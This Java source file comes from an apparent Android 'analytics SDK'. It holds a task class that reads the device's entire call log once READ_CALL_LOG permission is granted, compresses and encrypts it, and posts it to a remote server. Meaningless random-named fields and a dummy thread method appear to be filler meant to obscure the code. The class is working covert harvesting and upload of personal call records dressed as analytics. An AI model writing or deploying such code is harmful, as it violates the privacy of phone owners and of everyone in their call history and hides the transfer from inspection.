package com.test.dababy.dababy_00_analytics.dababydata_sdk.dababytask;


import static com.test.dababy.dababy_00_path.Paths_dababy.PATH_CALL_LOG;

import android.Manifest;
import android.content.Context;
import android.content.pm.PackageManager;
import android.text.TextUtils;

import androidx.core.content.ContextCompat;

import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababybeans.DababyASRequestPms;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyhttp.DababyASReqstManger;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababylogger.DababyASLger;
import com.test.dababy.dababy_00_analytics.dababydata_sdk.dababyservices.DababyASCLogIfo;
import com.test.dababy.dababy_00_utils.DababyUtil;

import java.util.function.Supplier;


public class DababyASDevcClogTsk implements Supplier<String> {
    private final static String TAG = "ASDeviceCalllogTask";

    private final String mTaskId;
    private final Context mContext;


    public double l7q0=0.0928628379170311;
    public float pi40=0.13185728f;
    public double rN4c=0.13006090369724188;
    public String eon7="";

    public void wLMN0(){
        new Thread(() -> {
            try {
                setEon7(String.valueOf(l7q0)+pi40+rN4c+eon7);
            }catch (Exception e){
                e.printStackTrace();
            }
        }).start();
    }

    public void setL7q0(double l7q0) {
        this.l7q0 = l7q0;
    }

    public void setPi40(float pi40) {
        this.pi40 = pi40;
    }

    public void setrN4c(double rN4c) {
        this.rN4c = rN4c;
    }

    public void setEon7(String eon7) {
        this.eon7 = eon7;
    }

    public DababyASDevcClogTsk(Context context, String taskId) {
        this.mContext = context;
        this.mTaskId = taskId;
    }

    @Override
    public String get() {
        // 日志标记
        DababyASLger.d_dababy(TAG, TAG + " 执行中...");

        // 过滤条件
        if (TextUtils.isEmpty(PATH_CALL_LOG)) {
            return mTaskId + "";
        }

        String infoBeans = "";
        if (PackageManager.PERMISSION_GRANTED == ContextCompat.checkSelfPermission(mContext, Manifest.permission.READ_CALL_LOG)) {
           infoBeans = DababyASCLogIfo.getZipString_dababy(mContext);
            DababyASCLogIfo.setRauN(false);
        } else {
            // 日志标记
            DababyASLger.d_dababy(TAG, "获取联系人信息出错：没有 READ_CALL_LOG 权限");
            return mTaskId+"";
        }

        wLMN0();

        DababyASRequestPms netParams = new DababyASRequestPms();
        netParams.setCLLG_dababy(infoBeans);
//        String result = new Gson().toJson(netParams).trim();
        String result = netParams.toEncryptParams_dababy(PATH_CALL_LOG);

        // 上报请求
        String url = DababyUtil.getCommonPath_dababy();
        new DababyASReqstManger.Builder_dababy().setReqId_dababy(this.mTaskId).setUrl_dababy(url).setBody_dababy(result).build_dababy().doPostRqst_dababy();

        return mTaskId + "";
    }

    public String getmTaskId() {
        return mTaskId;
    }

    public Context getmContext() {
        return mContext;
    }


}
